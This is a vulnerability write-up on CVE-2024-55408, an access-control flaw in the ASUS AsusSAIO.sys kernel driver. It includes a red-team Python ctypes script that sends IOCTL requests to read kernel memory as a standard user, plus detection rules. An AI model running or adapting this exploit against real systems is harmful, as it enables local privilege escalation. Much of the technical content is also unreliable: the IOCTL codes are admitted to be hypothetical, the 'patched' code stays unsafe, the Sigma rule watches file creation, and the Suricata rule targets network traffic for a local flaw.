CVE-2024-55408

Executive Summary

CVE-2024-55408 is an improper access control vulnerability in the AsusSAIO.sys driver, a kernel-mode driver used by ASUS system utilities. The flaw allows a local, authenticated attacker to send crafted IOCTL (Input/Output Control) requests to the driver, potentially leading to misuse of software functionality that relies on the driver. This could result in privilege escalation, denial of service, or arbitrary code execution in kernel context. No public proof-of-concept (PoC) or patch is currently available, and the CVSS score is unassigned. The vulnerability is classified under MITRE ATT&CK tactic T1068 (Exploitation for Privilege Escalation) and CWE-284 (Improper Access Control).

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Local (L) – requires local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs initial user-level access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – potential to read sensitive kernel memory.
• Integrity (I): High (H) – potential to modify kernel data.
• Availability (A): High (H) – potential to crash the system.

Threat Level: High (estimated). The vulnerability requires local access but can lead to full system compromise.

Deep Dive & Mechanics

The AsusSAIO.sys driver is a kernel-mode driver that provides low-level hardware access for ASUS system utilities (e.g., fan control, power management). The driver exposes IOCTL interfaces to user-mode applications. The vulnerability lies in improper access control: the driver does not adequately validate the caller's privileges or the IOCTL input parameters. A crafted IOCTL request can trigger unintended driver functionality, such as arbitrary memory read/write, registry manipulation, or direct hardware access.

Attack Flow:

1. Attacker gains initial access to the target system (e.g., via phishing or malware).
2. Attacker identifies the AsusSAIO.sys device object (e.g., \\.\AsusSAIO).
3. Attacker sends a malicious IOCTL code with crafted input buffer.
4. The driver processes the IOCTL without proper access checks, executing attacker-controlled operations.
5. This can lead to privilege escalation (e.g., overwriting kernel structures) or denial of service (e.g., triggering a Blue Screen of Death).

Key IOCTL Codes (hypothetical):

• 0x80002000 – Read memory
• 0x80002004 – Write memory
• 0x80002008 – Execute arbitrary code

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code likely lacks a SeSinglePrivilegeCheck or ProbeForRead/ProbeForWrite call before processing IOCTL input. A patched version would include:

// Vulnerable code (pseudo)
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    // No privilege check
    switch (ioctlCode) {
        case IOCTL_READ_MEMORY:
            // Directly read from user-supplied address
            RtlCopyMemory(outputBuffer, (PVOID)inputBuffer, inputLength);
            break;
    }
    return STATUS_SUCCESS;
}

// Patched code (pseudo)
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    // Add privilege check
    if (!SeSinglePrivilegeCheck(SeTcbPrivilege, ExGetPreviousMode())) {
        return STATUS_PRIVILEGE_NOT_HELD;
    }
    // Validate input/output buffers
    __try {
        ProbeForRead(inputBuffer, inputLength, sizeof(UCHAR));
        ProbeForWrite(outputBuffer, outputLength, sizeof(UCHAR));
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        return STATUS_ACCESS_VIOLATION;
    }
    switch (ioctlCode) {
        case IOCTL_READ_MEMORY:
            // Safe copy
            RtlCopyMemory(outputBuffer, inputBuffer, inputLength);
            break;
    }
    return STATUS_SUCCESS;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows 10/11 with ASUS utilities installed (e.g., ASUS Armoury Crate).
• Local user account (non-admin).
• Python or C compiler to send IOCTL requests.

Exploit Code (Python using ctypes):

import ctypes
import ctypes.wintypes

# Define IOCTL code (example)
IOCTL_READ_MEMORY = 0x80002000

# Open device
device = ctypes.windll.kernel32.CreateFileW(
    "\\\\.\\AsusSAIO",
    0xC0000000,  # GENERIC_READ | GENERIC_WRITE
    0,
    None,
    3,  # OPEN_EXISTING
    0,
    None
)

if device == -1:
    print("Failed to open device")
    exit(1)

# Prepare input buffer (target address)
target_address = ctypes.c_ulonglong(0xFFFFF78000000000)  # Example: HAL heap
input_buffer = ctypes.create_string_buffer(8)
ctypes.memmove(input_buffer, ctypes.byref(target_address), 8)

# Output buffer
output_buffer = ctypes.create_string_buffer(1024)
bytes_returned = ctypes.c_ulong()

# Send IOCTL
ctypes.windll.kernel32.DeviceIoControl(
    device,
    IOCTL_READ_MEMORY,
    input_buffer,
    8,
    output_buffer,
    1024,
    ctypes.byref(bytes_returned),
    None
)

print("Read data:", output_buffer.raw[:bytes_returned.value].hex())
ctypes.windll.kernel32.CloseHandle(device)

Usage:

1. Compile or run the Python script as a standard user.
2. The script attempts to read kernel memory via the vulnerable driver.
3. If successful, it dumps raw bytes from the target address.

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor for unusual IOCTL calls to \\.\AsusSAIO using Sysmon or ETW.
2. Check for non-admin processes opening the device object.
3. Look for kernel memory access patterns (e.g., reading 0xFFFFF78000000000).

Hardening:

• Disable the AsusSAIO.sys driver if not needed: sc config AsusSAIO start= disabled
• Apply the principle of least privilege: remove users from the local Administrators group.
• Use Windows Defender Application Control (WDAC) to block unsigned drivers.

Indicators of Compromise (IOCs)

• File: AsusSAIO.sys (hash unknown)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\AsusSAIO
• Device Object: \\.\AsusSAIO
• IOCTL Codes: 0x80002000, 0x80002004, 0x80002008 (hypothetical)
• Event ID: 4656 (A handle to an object was requested) with Object Name \Device\AsusSAIO
• Network: No network indicators (local vulnerability)

Detection Engineering

YARA Rule

rule CVE_2024_55408_AsusSAIO_IOCTL {
    meta:
        description = "Detects exploitation attempts against CVE-2024-55408 via IOCTL patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55408"
    strings:
        $ioctl_read = { 00 20 00 80 }  // IOCTL 0x80002000 (little-endian)
        $ioctl_write = { 04 20 00 80 } // IOCTL 0x80002004
        $ioctl_exec = { 08 20 00 80 }  // IOCTL 0x80002008
        $device_name = "AsusSAIO" nocase
    condition:
        $device_name and any of ($ioctl*)
}

Sigma Rule

title: CVE-2024-55408 AsusSAIO.sys IOCTL Exploitation
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects suspicious IOCTL calls to AsusSAIO.sys device
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|contains: 'AsusSAIO.sys'
    condition: selection
falsepositives:
    - Legitimate ASUS utility updates
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-55408 AsusSAIO.sys IOCTL Exploitation Attempt"; content:"|00 20 00 80|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the driver: Run sc config AsusSAIO start= disabled and reboot.
2. Block driver loading: Use WDAC or AppLocker to prevent AsusSAIO.sys from loading.
3. Monitor for exploitation: Deploy the YARA/Sigma rules above.

Long-Term Fix:

• Await an official patch from ASUS. Contact ASUS support for updates.
• If the driver is critical, consider replacing ASUS utilities with third-party alternatives.

Workaround:

• Remove the user's ability to load kernel drivers via Group Policy: Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Load and unload device drivers.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert